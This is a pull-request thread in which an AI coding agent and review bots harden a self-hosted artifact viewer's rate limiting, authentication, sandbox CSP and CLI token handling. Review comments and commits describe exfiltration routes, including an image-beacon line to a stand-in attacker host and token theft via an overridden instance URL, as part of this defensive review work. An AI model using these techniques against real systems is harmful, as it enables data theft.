clientKey always uses req.socket.remoteAddress. Behind a reverse proxy — the documented primary deployment path, and the same setup AGENT_RENDER_TRUST_PROXY=1 exists for — every client's remote address is the proxy's IP, so the 10-attempts/minute budget becomes a single shared bucket. One attacker (or one misbehaving client) sending 10 bad attempts each minute keeps the bucket perpetually exhausted and locks every legitimate user out of /auth and the artifact API with 429s, indefinitely, at near-zero traffic cost. Consider keying on the rightmost X-Forwarded-For entry when trustProxyHeaders is set (the rightmost hop is the one the trusted proxy appended; the leftmost is client-spoofable and would let attackers rotate keys to evade the limit entirely), or at least document the shared-bucket behavior next to AGENT_RENDER_TRUST_PROXY.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
public/.well-known/agent-skills/index.json publishes a sha256 digest and description per SKILL.md. Both skills were edited in this PR, so a discovery client that verifies the digest would have rejected both after merge, and the self-hosted description still promised a 24-hour TTL and omitted the html kind. Nothing read the index and the skills together, which is why it drifted silently. check-skill-digests.mjs now does, and runs in lint. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
resolveConfig picked instanceUrl and token independently down the flag/env/file chain, so `create --instance-url https://other-host` with no --token resolved the URL from the flag and the credential from the config file, sending the token stored for a different instance to that host. They resolve as a pair now: a token only carries forward from a layer at or below the one that supplied the URL, and an explicit --token still wins. Also: explicit --mode fragment no longer reads instance config at all (a malformed config file was failing a purely local encode), the markdown surface is only budget-checked for formats that emit it (an oversized markdown candidate was failing --format url runs whose own link fits), and a created artifact id must match the server's UUID contract before the CLI builds a URL from it (an id of "../login" would have normalized into a confident link to the wrong page). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…onses - AGENT_RENDER_PASSWORD set but empty now aborts startup. Treating it as "auth off" meant a compose file expanding a missing secret started the server wide open while the operator believed auth was configured. Unset still means unset. The old test pinned that implementation choice rather than the requirement, so it asserted the unsafe behavior. - Artifact pages and API responses carry no-store/private and vary on the credential. Behind a caching reverse proxy the previous headers let one authenticated response be replayed to a client that never passed the gate. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The list item was a flex row, so the bare label text node and the nested <small> became sibling flex items and sat side by side instead of stacking -- the component did not render the shape its own documentation showed. It is a two-column grid now: badge in column one spanning both rows, label and detail stacked in column two. Also updates the package, layout metadata and contributor guide, which still described five artifact kinds. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
| process.exit(0); | ||
| } | ||
|
|
||
| if (write) { |
There was a problem hiding this comment.
SUGGESTION: --write exits 0 even when a problem cannot be fixed by regeneration
The "no local SKILL.md is mapped" problem (line 38) is not something rewriting the index can resolve — the entry stays broken. This branch still writes the file and process.exit(0), so a caller scripting --write sees success while a stale/unmapped entry persists. Consider exiting non-zero (or at least separating unfixable problems from regenerated ones) when any problem survives the rewrite.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
The limiter keyed on the socket address. Behind a reverse proxy -- the documented primary deployment, and the reason AGENT_RENDER_TRUST_PROXY exists -- every request carries the proxy's address, so all clients shared one bucket and ten bad guesses a minute locked every legitimate user out of /auth and the artifact API indefinitely. With the proxy declared trusted it now keys on the nearest X-Forwarded-For hop: the entry the trusted proxy appended, rather than the leftmost one a client can forge to rotate keys and evade the limit. Also makes check-skill-digests exit non-zero under --write when a problem regeneration cannot fix survives, instead of reporting success. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The trusted (self-hosted verbatim) path did not work. A srcdoc document inherits the embedding page's CSP, so the viewer's nonce/hash-only script-src blocked every artifact script, and it inherits no stylesheet, so the ar-* kit classes rendered unstyled. The feature delivered neither of the two things it advertised. Trusted artifacts now render in public/artifact-frame.html, a separate document fetched over its own URL, which means it carries its own CSP response headers instead of inheriting the viewer's. The self-hosted server gives that one path a policy that permits inline script and style -- the artifact's own -- while withholding connect-src and form-action, so a payload can neither exfiltrate what it renders nor post a lookalike sign-in form anywhere. The embedding iframe keeps sandbox="allow-scripts" with no allow-same-origin, so the document stays in an opaque origin with no reach into the viewer DOM, the auth cookie, or the artifact API. The markup is handed over by postMessage rather than the URL, so opening the frame directly renders nothing instead of becoming a general HTML-rendering endpoint. The frame links artifact-frame.css, generated from src/app/kit.css plus the custom properties it resolves against, so the frame and the sanitized inline path cannot drift; lint fails when the generated file is stale. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
Implemented option (b) for the trusted HTML path, plus Kilo's two new findings. The trusted path didn't work, and now does. A Trusted artifacts now render in The frame's stylesheet is generated from Kilo's findings:
|
There was a problem hiding this comment.
Actionable comments posted: 5
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
skills/agent-render-linking/SKILL.md (2)
169-172: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winLimit the sanitization claim to HTML fragment payloads.
The phrase “fragment payloads are sanitized” can be read as a guarantee for markdown, code, CSV, and JSON artifacts as well. State that HTML fragment payloads are sanitized so the skill describes the actual renderer boundary.
As per coding guidelines, keep skills aligned with renderer capabilities and artifact kinds.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@skills/agent-render-linking/SKILL.md` around lines 169 - 172, Update the sanitization statement in the skill’s rich-layout guidance to explicitly say that HTML fragment payloads are sanitized, rather than implying sanitization applies to all artifact kinds. Keep the listed stripped elements and renderer/design-kit guidance unchanged.Source: Coding guidelines
196-197: 🔒 Security & Privacy | 🟡 Minor | ⚡ Quick winScope the unsanitized rendering statement to
kind: "html"artifacts.Server-injected trusted rendering applies only to artifact markup
kind: "html", where the trusted path hands thecontentstring toartifact-frame.html. Other artifact kinds render through text/code renderers and are not affected by this wording.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@skills/agent-render-linking/SKILL.md` around lines 196 - 197, Update the unsanitized rendering statement in the self-hosted skill to explicitly apply only to artifacts with kind: "html"; clarify that their content is rendered verbatim in the sandboxed artifact-frame.html path, while other artifact kinds use text/code renderers and are excluded.Source: Learnings
selfhosted/server.ts (1)
781-784: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winGate HEAD requests the same way as GET for protected static HTML.
The condition checks
method === "GET"only.serveStaticaccepts bothGETandHEADand returns a200with headers forHEADwithout any credential check. AHEADrequest to astaticHtmlPathroute bypassesrequireBrowserAuthand confirms the page exists (and returns its headers) to an unauthenticated client.Include
HEADin the gated methods to close this gap.🔒 Proposed fix
- if (method === "GET" && staticHtmlPath(pathname)) { + if ((method === "GET" || method === "HEAD") && staticHtmlPath(pathname)) { if (requireBrowserAuth(req, res, `${pathname}${url.search}`)) return; }🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@selfhosted/server.ts` around lines 781 - 784, Update the static HTML authentication condition near requireBrowserAuth to apply when method is either GET or HEAD, preserving the existing pathname and query handling and authorization behavior.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@AGENTS.md`:
- Line 12: Update the artifact-kind contract in AGENTS.md by adding html to the
supported-kind list and renderer behavior section, and document that html uses
sanitized Kit rendering. Keep the terminology aligned with “artifact kinds” and
“renderer capabilities,” without changing unrelated guidance.
In `@cli/src/config.ts`:
- Around line 87-91: Update the token resolution expression to keep flags.token
as the explicit override, but when urlLayer selects an instance URL, use only
the token defined on that selected URL layer and do not fall back to
AGENT_RENDER_TOKEN, stored.token, or lower layers. Preserve the existing
environment/stored-token fallback only when no instanceUrl override is selected.
In `@public/artifact-frame.css`:
- Around line 125-464: Add targeted Playwright visual assertions for Kit HTML
presentation in both inline rendering and /artifact-frame.html modes, covering
the kit-html container plus ar-tabs and ar-choices components. Extend the
existing generic snapshot coverage with representative fixtures and screenshots
that detect layout changes, including the decision-option structure and tab
states.
In `@public/artifact-frame.html`:
- Around line 31-36: Update the message handler around the delivered guard to
accept artifact HTML only when event.source === parent, before setting delivered
or replacing root.innerHTML; preserve the existing payload validation and
first-message behavior for messages from the direct parent.
In `@scripts/check-skill-digests.mjs`:
- Around line 23-60: Update frontmatter parsing and the loop around
frontmatterDescription to extract and validate the local skill name against
skill.name before rewriting any index fields. When the names differ, add a clear
problem and mark it unfixable so --write does not silently update the digest or
description; preserve existing behavior for matching names.
---
Outside diff comments:
In `@selfhosted/server.ts`:
- Around line 781-784: Update the static HTML authentication condition near
requireBrowserAuth to apply when method is either GET or HEAD, preserving the
existing pathname and query handling and authorization behavior.
In `@skills/agent-render-linking/SKILL.md`:
- Around line 169-172: Update the sanitization statement in the skill’s
rich-layout guidance to explicitly say that HTML fragment payloads are
sanitized, rather than implying sanitization applies to all artifact kinds. Keep
the listed stripped elements and renderer/design-kit guidance unchanged.
- Around line 196-197: Update the unsanitized rendering statement in the
self-hosted skill to explicitly apply only to artifacts with kind: "html";
clarify that their content is rendered verbatim in the sandboxed
artifact-frame.html path, while other artifact kinds use text/code renderers and
are excluded.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: f7f80066-5912-4239-8cf4-7ae1983caa71
📒 Files selected for processing (22)
AGENTS.mdcli/src/cli.tscli/src/config.tscli/src/instance.tsdocs/deployment.mddocs/design-kit.mddocs/payload-format.mdpackage.jsonpublic/.well-known/agent-skills/index.jsonpublic/artifact-frame.csspublic/artifact-frame.htmlscripts/build-artifact-frame-css.mjsscripts/check-skill-digests.mjsselfhosted/server.tsskills/agent-render-linking/SKILL.mdsrc/app/kit.csssrc/app/layout.tsxsrc/components/renderers/html-renderer.tsxsrc/lib/html/sanitize-kit-html.tstests/sanitize-kit-html.test.tstests/selfhosted/auth.test.tstests/selfhosted/csp.test.ts
🚧 Files skipped from review as they are similar to previous changes (8)
- docs/design-kit.md
- docs/payload-format.md
- docs/deployment.md
- cli/src/instance.ts
- src/app/kit.css
- src/components/renderers/html-renderer.tsx
- cli/src/cli.ts
- src/lib/html/sanitize-kit-html.ts
| const token = | ||
| flags.token | ||
| ?? (urlLayer === -1 | ||
| ? (env.AGENT_RENDER_TOKEN ?? stored.token) | ||
| : layers.slice(urlLayer).find((layer) => layer.token !== undefined)?.token); |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Do not inherit a lower-layer token after an instanceUrl override.
If --instance-url selects a new endpoint without --token, layers.slice(urlLayer) still selects AGENT_RENDER_TOKEN or stored.token. The CLI can then send a bearer token for a different instance to the override endpoint.
Use only the token from the selected URL layer. Keep flags.token as the explicit override.
Proposed fix
const token =
flags.token
?? (urlLayer === -1
? (env.AGENT_RENDER_TOKEN ?? stored.token)
- : layers.slice(urlLayer).find((layer) => layer.token !== undefined)?.token);
+ : layers[urlLayer]!.token);📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| const token = | |
| flags.token | |
| ?? (urlLayer === -1 | |
| ? (env.AGENT_RENDER_TOKEN ?? stored.token) | |
| : layers.slice(urlLayer).find((layer) => layer.token !== undefined)?.token); | |
| const token = | |
| flags.token | |
| ?? (urlLayer === -1 | |
| ? (env.AGENT_RENDER_TOKEN ?? stored.token) | |
| : layers[urlLayer]!.token); |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@cli/src/config.ts` around lines 87 - 91, Update the token resolution
expression to keep flags.token as the explicit override, but when urlLayer
selects an instance URL, use only the token defined on that selected URL layer
and do not fall back to AGENT_RENDER_TOKEN, stored.token, or lower layers.
Preserve the existing environment/stored-token fallback only when no instanceUrl
override is selected.
| .kit-html { | ||
| font-size: 0.95rem; | ||
| line-height: 1.7; | ||
| color: var(--text-primary); | ||
| } | ||
|
|
||
| .kit-html > * + * { | ||
| margin-top: 1rem; | ||
| } | ||
|
|
||
| .kit-html h1, | ||
| .kit-html h2, | ||
| .kit-html h3, | ||
| .kit-html h4, | ||
| .kit-html h5, | ||
| .kit-html h6 { | ||
| font-weight: 700; | ||
| letter-spacing: -0.02em; | ||
| line-height: 1.2; | ||
| margin-top: 1.75rem; | ||
| } | ||
|
|
||
| .kit-html h1 { font-size: 1.75rem; } | ||
| .kit-html h2 { font-size: 1.4rem; } | ||
| .kit-html h3 { font-size: 1.15rem; } | ||
| .kit-html h4, | ||
| .kit-html h5, | ||
| .kit-html h6 { font-size: 1rem; } | ||
|
|
||
| .kit-html h1:first-child, | ||
| .kit-html h2:first-child, | ||
| .kit-html h3:first-child { | ||
| margin-top: 0; | ||
| } | ||
|
|
||
| .kit-html a { | ||
| color: var(--accent); | ||
| font-weight: 600; | ||
| text-decoration: underline; | ||
| text-underline-offset: 3px; | ||
| } | ||
|
|
||
| .kit-html code, | ||
| .kit-html kbd, | ||
| .kit-html samp { | ||
| font-family: var(--font-mono, ui-monospace, monospace); | ||
| font-size: 0.85em; | ||
| background: var(--surface-muted); | ||
| border: 1px solid var(--border); | ||
| border-radius: var(--radius-sm); | ||
| padding: 0.1em 0.35em; | ||
| } | ||
|
|
||
| .kit-html pre { | ||
| background: var(--surface-code); | ||
| color: var(--surface-code-text); | ||
| border: 1px solid var(--border); | ||
| border-radius: var(--radius-md); | ||
| padding: 0.9rem 1.1rem; | ||
| overflow-x: auto; | ||
| } | ||
|
|
||
| .kit-html pre code { | ||
| background: none; | ||
| border: none; | ||
| padding: 0; | ||
| font-size: 0.85rem; | ||
| } | ||
|
|
||
| .kit-html blockquote { | ||
| border-left: 2px solid var(--accent); | ||
| padding-left: 1rem; | ||
| color: var(--text-muted); | ||
| } | ||
|
|
||
| .kit-html hr { | ||
| border: none; | ||
| border-top: 1px solid var(--border-strong); | ||
| margin: 1.5rem 0; | ||
| } | ||
|
|
||
| .kit-html ul, | ||
| .kit-html ol { | ||
| padding-left: 1.4rem; | ||
| } | ||
|
|
||
| .kit-html ul { list-style: disc; } | ||
| .kit-html ol { list-style: decimal; } | ||
|
|
||
| .kit-html img { | ||
| max-width: 100%; | ||
| height: auto; | ||
| border-radius: var(--radius-md); | ||
| } | ||
|
|
||
| /* ── Tables ── */ | ||
|
|
||
| .kit-html table { | ||
| width: 100%; | ||
| border-collapse: collapse; | ||
| font-size: 0.9rem; | ||
| } | ||
|
|
||
| .kit-html th, | ||
| .kit-html td { | ||
| border: 1px solid var(--border); | ||
| padding: 0.5rem 0.75rem; | ||
| text-align: left; | ||
| vertical-align: top; | ||
| } | ||
|
|
||
| .kit-html th { | ||
| background: var(--surface-muted); | ||
| font-weight: 600; | ||
| } | ||
|
|
||
| .kit-html caption { | ||
| caption-side: bottom; | ||
| padding-top: 0.5rem; | ||
| font-size: 0.8rem; | ||
| color: var(--text-soft); | ||
| } | ||
|
|
||
| /* ── Layout components ── */ | ||
|
|
||
| .kit-html .ar-card { | ||
| background: var(--surface-strong); | ||
| border: 1px solid var(--border); | ||
| border-radius: var(--radius-lg); | ||
| box-shadow: var(--shadow-md); | ||
| padding: 1.1rem 1.25rem; | ||
| } | ||
|
|
||
| .kit-html .ar-grid { | ||
| display: grid; | ||
| grid-template-columns: repeat(auto-fit, minmax(14rem, 1fr)); | ||
| gap: 0.9rem; | ||
| } | ||
|
|
||
| .kit-html .ar-stack { | ||
| display: flex; | ||
| flex-direction: column; | ||
| gap: 0.9rem; | ||
| } | ||
|
|
||
| .kit-html .ar-stack > * + *, | ||
| .kit-html .ar-grid > * + *, | ||
| .kit-html .ar-card > :first-child { | ||
| margin-top: 0; | ||
| } | ||
|
|
||
| .kit-html .ar-row { | ||
| display: flex; | ||
| flex-wrap: wrap; | ||
| align-items: center; | ||
| gap: 0.6rem; | ||
| } | ||
|
|
||
| /* ── Stat tiles ── */ | ||
|
|
||
| .kit-html .ar-stat { | ||
| background: var(--surface-strong); | ||
| border: 1px solid var(--border); | ||
| border-radius: var(--radius-lg); | ||
| padding: 1rem 1.1rem; | ||
| } | ||
|
|
||
| .kit-html .ar-stat-label { | ||
| font-family: var(--font-mono, ui-monospace, monospace); | ||
| font-size: 0.7rem; | ||
| letter-spacing: 0.08em; | ||
| text-transform: uppercase; | ||
| color: var(--text-soft); | ||
| margin: 0; | ||
| } | ||
|
|
||
| .kit-html .ar-stat-value { | ||
| font-size: 1.6rem; | ||
| font-weight: 700; | ||
| letter-spacing: -0.02em; | ||
| margin: 0.25rem 0 0; | ||
| } | ||
|
|
||
| /* ── Badges ── */ | ||
|
|
||
| .kit-html .ar-badge { | ||
| display: inline-flex; | ||
| align-items: center; | ||
| gap: 0.3em; | ||
| font-family: var(--font-mono, ui-monospace, monospace); | ||
| font-size: 0.72rem; | ||
| letter-spacing: 0.04em; | ||
| border: 1px solid var(--border-strong); | ||
| border-radius: 999px; | ||
| padding: 0.15em 0.7em; | ||
| color: var(--text-muted); | ||
| background: var(--surface-strong); | ||
| } | ||
|
|
||
| .kit-html .ar-badge-success { color: var(--success); border-color: var(--success); } | ||
| .kit-html .ar-badge-warning { color: var(--warning); border-color: var(--warning); } | ||
| .kit-html .ar-badge-danger { color: var(--danger); border-color: var(--danger); } | ||
| .kit-html .ar-badge-accent { color: var(--accent); border-color: var(--accent); } | ||
|
|
||
| /* ── Callouts ── */ | ||
|
|
||
| .kit-html .ar-callout { | ||
| border: 1px solid var(--border-strong); | ||
| border-left-width: 3px; | ||
| border-radius: var(--radius-md); | ||
| background: var(--surface-elevated); | ||
| padding: 0.8rem 1.1rem; | ||
| } | ||
|
|
||
| .kit-html .ar-callout-success { border-left-color: var(--success); } | ||
| .kit-html .ar-callout-warning { border-left-color: var(--warning); } | ||
| .kit-html .ar-callout-danger { border-left-color: var(--danger); } | ||
| .kit-html .ar-callout-info { border-left-color: var(--accent-secondary); } | ||
|
|
||
| /* ── Tabs (behavior wired by html-renderer.tsx) ── */ | ||
|
|
||
| .kit-html .ar-tabs { | ||
| border: 1px solid var(--border); | ||
| border-radius: var(--radius-lg); | ||
| background: var(--surface-strong); | ||
| overflow: hidden; | ||
| } | ||
|
|
||
| .kit-html .ar-tab-bar { | ||
| display: flex; | ||
| flex-wrap: wrap; | ||
| gap: 0.25rem; | ||
| border-bottom: 1px solid var(--border); | ||
| background: var(--surface-muted); | ||
| padding: 0.4rem 0.6rem; | ||
| } | ||
|
|
||
| .kit-html .ar-tab-button { | ||
| font-family: var(--font-mono, ui-monospace, monospace); | ||
| font-size: 0.78rem; | ||
| border: 1px solid transparent; | ||
| border-radius: var(--radius-md); | ||
| padding: 0.25rem 0.75rem; | ||
| color: var(--text-muted); | ||
| cursor: pointer; | ||
| background: none; | ||
| } | ||
|
|
||
| .kit-html .ar-tab-button[aria-selected="true"] { | ||
| color: var(--accent); | ||
| border-color: var(--accent); | ||
| background: var(--surface-strong); | ||
| } | ||
|
|
||
| .kit-html .ar-tab { | ||
| padding: 1rem 1.25rem; | ||
| } | ||
|
|
||
| /* ── Accordion (native details/summary) ── */ | ||
|
|
||
| .kit-html details { | ||
| border: 1px solid var(--border); | ||
| border-radius: var(--radius-md); | ||
| background: var(--surface-strong); | ||
| padding: 0.6rem 1rem; | ||
| } | ||
|
|
||
| .kit-html summary { | ||
| cursor: pointer; | ||
| font-weight: 600; | ||
| } | ||
|
|
||
| /* ── Trusted verbatim frame (self-hosted mode) ── */ | ||
|
|
||
| .kit-html-frame { | ||
| width: 100%; | ||
| min-height: 70vh; | ||
| border: none; | ||
| display: block; | ||
| background: var(--surface-strong); | ||
| } | ||
|
|
||
| /* ── Choices: a decision list the reader answers in chat ── */ | ||
|
|
||
| .kit-html .ar-choices { | ||
| list-style: none; | ||
| display: flex; | ||
| flex-direction: column; | ||
| gap: 0.6rem; | ||
| margin: 0; | ||
| padding: 0; | ||
| } | ||
|
|
||
| /* | ||
| * Grid, not flex: the label is a bare text node beside <small>, so as flex items they would sit on | ||
| * one line. Auto-placement puts the label in column two, and pinning <small> to that same column | ||
| * wraps it onto the row below, which is the documented shape. | ||
| */ | ||
| .kit-html .ar-choices > li { | ||
| display: grid; | ||
| grid-template-columns: auto 1fr; | ||
| column-gap: 0.85rem; | ||
| row-gap: 0.2rem; | ||
| align-items: start; | ||
| border: 1px solid var(--border); | ||
| border-radius: var(--radius-lg); | ||
| background: var(--surface-strong); | ||
| padding: 0.8rem 1rem; | ||
| font-weight: 600; | ||
| } | ||
|
|
||
| .kit-html .ar-choices > li > small { | ||
| grid-column: 2; | ||
| } | ||
|
|
||
| /* The id badge is generated from the attribute so agent markup stays one short line per option. */ | ||
| .kit-html .ar-choices > li[data-ar-id]::before { | ||
| content: attr(data-ar-id); | ||
| grid-column: 1; | ||
| grid-row: 1 / -1; | ||
| font-family: var(--font-mono, ui-monospace, monospace); | ||
| font-size: 0.85rem; | ||
| font-weight: 600; | ||
| color: var(--accent); | ||
| border: 1px solid var(--accent); | ||
| border-radius: var(--radius-md); | ||
| min-width: 2rem; | ||
| text-align: center; | ||
| padding: 0.1rem 0.45rem; | ||
| flex-shrink: 0; | ||
| } | ||
|
|
||
| /* <small> inside an option is its supporting detail line. */ | ||
| .kit-html .ar-choices > li small { | ||
| display: block; | ||
| margin-top: 0.2rem; | ||
| font-size: 0.88rem; | ||
| font-weight: 400; | ||
| color: var(--text-muted); | ||
| } |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
rg -n -C 3 --glob '*.{ts,tsx}' \
'ar-choices|kit-html|artifact-frame|page\.screenshot|toHaveScreenshot' testsRepository: baanish/agent-render
Length of output: 5045
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== repo files =="
git ls-files | sed -n '1,180p'
echo "== relevant CSS references =="
rg -n --glob '!public/artifact-frame.css' '\.kit-html|\.kit-html-frame|artifact-frame\.css|ar-choices|artifact-frame' public app src components tests libs . -g '*.css' -g '*.tsx' -g '*.ts' -g '*.html' -g '*.md' 2>/dev/null || true
echo "== visual test list =="
fd -e ts playwright e2e tests . -x sh 'echo "--- $1"; cat -n "$1" | sed -n "1,220p"' sh {}Repository: baanish/agent-render
Length of output: 24940
Add Playwright coverage for Kit HTML layout.
Kit HTML affects renderer presentation and layout in both inline and /artifact-frame.html modes. The current Playwright coverage captures generic snapshots, but the kit-html container, ar-tabs, and ar-choices decision options need targeted visual assertion. Add screenshots for these component cases so layout changes are caught.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@public/artifact-frame.css` around lines 125 - 464, Add targeted Playwright
visual assertions for Kit HTML presentation in both inline rendering and
/artifact-frame.html modes, covering the kit-html container plus ar-tabs and
ar-choices components. Extend the existing generic snapshot coverage with
representative fixtures and screenshots that detect layout changes, including
the decision-option structure and tab states.
Source: Coding guidelines
The previous attempt did not work. layers.slice(urlLayer) still included the config-file layer, so --instance-url other-host with no --token resolved the URL from the flag and the credential from the file, exactly the leak it claimed to close. Verified by reproducing it. A token is now usable only when its own layer does not name a different host: a layer with no URL of its own (a bare --token, or AGENT_RENDER_TOKEN beside a config-file URL) is not tied to an endpoint and still applies, but the config file's token stays with the config file's instance. Both cases are pinned by tests. Also restricts the isolation frame to messages from its direct parent. event.source, not event.origin: the frame is sandboxed into an opaque origin so every message reports origin "null" and comparing it proves nothing, but without the source check any window holding a reference to the frame could race its own markup in ahead of the viewer. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
| "form-action 'none'", | ||
| "frame-ancestors 'self'", | ||
| "style-src 'self' 'unsafe-inline'", | ||
| "img-src 'self' https: data:", |
There was a problem hiding this comment.
WARNING: Frame CSP permits image-based exfiltration, contradicting its own "cannot exfiltrate" guarantee
default-src 'none' only blocks connect-src (fetch/XHR/beacon); image loads are governed by img-src, and here img-src 'self' https: data: lets a rendered (trusted-but-hostile) artifact beacon data to any HTTPS endpoint via <img src="https://attacker/x?d=...">. That re-opens exactly the channel this function's doc comment, docs/design-kit.md ("nothing here can exfiltrate or phish"), and docs/payload-format.md all claim is closed. The viewer's own policy is stricter (img-src 'self' data: blob:) for this same reason; the isolation frame should not be more permissive than the page it isolates from. Drop https: to match the viewer, or explicitly document why cross-origin images are safe here.
| "img-src 'self' https: data:", | |
| "img-src 'self' data: blob:", |
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
The frame policy allowed img-src https:, so a rendered artifact could beacon what it renders straight back out with an <img> tag or a CSS url() -- default-src 'none' does not cover images. That contradicted the guarantee stated three times in this repo: the function's own doc comment, docs/design-kit.md, and docs/payload-format.md all claim nothing in the frame can exfiltrate. Images are same-origin now, matching the viewer the frame isolates from. The frame should never be more permissive than the page it protects. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Three CLI findings from an external review pass:
- A config file holding only a token was treated as portable, so
--instance-url https://attacker handed that stored credential to
whatever host the caller named. A stored token now applies only when
the endpoint also came from the config file; flags and environment are
supplied deliberately per invocation and still apply.
- An explicit --instance-url with --token is fully specified, but still
read the config file and so could be failed by a malformed one it
never consults. Config is now read only when something is missing.
- File and stdin input went through Buffer.toString("utf8"), which
silently substitutes U+FFFD for malformed bytes -- a latin-1 diff would
be published with corrupted characters and no warning. Decoding is
strict now and names the offending source.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The limiter only counted failures that had already been recorded, and a failure is recorded after the KDF resolves. Every request in a concurrent burst therefore passed the pre-check before any of them had failed, so all of them queued scrypt work at once and could saturate the libuv pool -- the exact exhaustion the limiter was added to prevent. Derivations now count against a per-client budget from the moment they start, so a burst is refused rather than absorbed. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The frame runs artifact scripts, and a script can navigate its own frame to an attacker URL. No CSP directive prevents that: navigate-to was never shipped. Running untrusted scripts and preventing egress are mutually exclusive, so three separate claims that nothing in the frame "can exfiltrate" were wrong. Self-hosted mode keeps allow-scripts deliberately -- the agent authoring the artifact already has shell access on the operator's machine, so the frame is not the narrow point. What the frame actually buys is isolation from the viewer origin, which is what stops an artifact reading the operator's session. The docs now say that and nothing more. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@cli/src/config.ts`:
- Around line 76-96: The config resolution in cli/src/config.ts lines 76-96 must
bind environment tokens to the environment URL just as stored tokens are bound
to the stored URL: generalize the layer-selection logic so any token-bearing
layer is used only when that layer’s instanceUrl is the selected endpoint, while
preserving deliberate flag-token precedence. In cli/tests/config.test.ts lines
67-75, add coverage where environment URL and token target one host,
flags.instanceUrl overrides it without a flag token, and resolved.token is
undefined.
In `@public/artifact-frame.html`:
- Around line 41-46: Update the security comment above the HTML sink to remove
claims that the sandbox and CSP prevent all exfiltration or phishing. State only
that the opaque-origin sandbox blocks access to the viewer DOM, cookies, and
artifact API, and that the CSP restricts configured network and form paths,
consistent with the limitation documented in design-kit.md.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: 23f416bc-38c5-4e63-b22b-4a9011645778
📒 Files selected for processing (11)
AGENTS.mdcli/src/cli.tscli/src/config.tscli/tests/config.test.tsdocs/design-kit.mddocs/payload-format.mdpublic/artifact-frame.htmlscripts/check-skill-digests.mjsselfhosted/server.tstests/selfhosted/auth.test.tstests/selfhosted/csp.test.ts
🚧 Files skipped from review as they are similar to previous changes (4)
- tests/selfhosted/csp.test.ts
- docs/payload-format.md
- scripts/check-skill-digests.mjs
- selfhosted/server.ts
Third variant of the same leak. Binding the stored token left the environment layer unbound, so AGENT_RENDER_INSTANCE_URL and AGENT_RENDER_TOKEN configured together for one host still handed that token to a different host named by --instance-url. The rule is now stated once and applied to every layer: a layer that names its own instanceUrl owns its token and may only supply it when that host is the one selected; the config file owns its token even when it records no URL; a bare token with no URL of its own (an explicit --token, or AGENT_RENDER_TOKEN beside a config-file URL) is not claiming an endpoint and stays usable. Eight precedence cases are pinned. Also corrects the frame's own comment, which still claimed nothing there could exfiltrate -- the one place that claim survived the last pass. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2 participants
Why
Mobile coding-agent apps change agent-render's constraints: there is no 2,000-char message wall, but every char the agent emits sits in model context. This PR repositions the product for that surface: the transcript carries the agent's copy plus a short URL, and the bulk lives at the link.
What
One commit per deliverable:
htmlrenders agent markup against a design kit shipped in the viewer (ar-*components plus a pinned Tailwind utility subset,docs/design-kit.md); agents supply structure and content, never styling. Fragment payloads are mintable by anyone, so they render sanitized (no scripts, event handlers, inline styles, form controls, or foreign content;src/lib/html/sanitize-kit-html.ts); tabs and disclosure are viewer-owned JS. Server-injected payloads on self-hosted instances render verbatim at the operator's documented risk.choicesis a presentational decision list with stable option ids the reader answers with in chat; no response channel by design. The arx2/3/4 tuple wire format is pinned, so envelopes with new kinds skip those codecs and ride arx/deflate/lz/plain.AGENT_RENDER_TTL_HOURSoverrides the new 7-day sliding default and fails fast on invalid values. SettingAGENT_RENDER_PASSWORDgates writes and artifact API reads behindBearer <password>or an HMAC cookie set once per device via a minimal password page; unset keeps today's open behavior. BYO reverse-proxy auth remains the documented primary path.agent-render create [files...]reads files or stdin, builds an envelope, and either POSTs to a configured self-hosted instance (UUID URL) or encodes a fragment locally with the full codec ladder including arx4. Config precedence: flags > env > 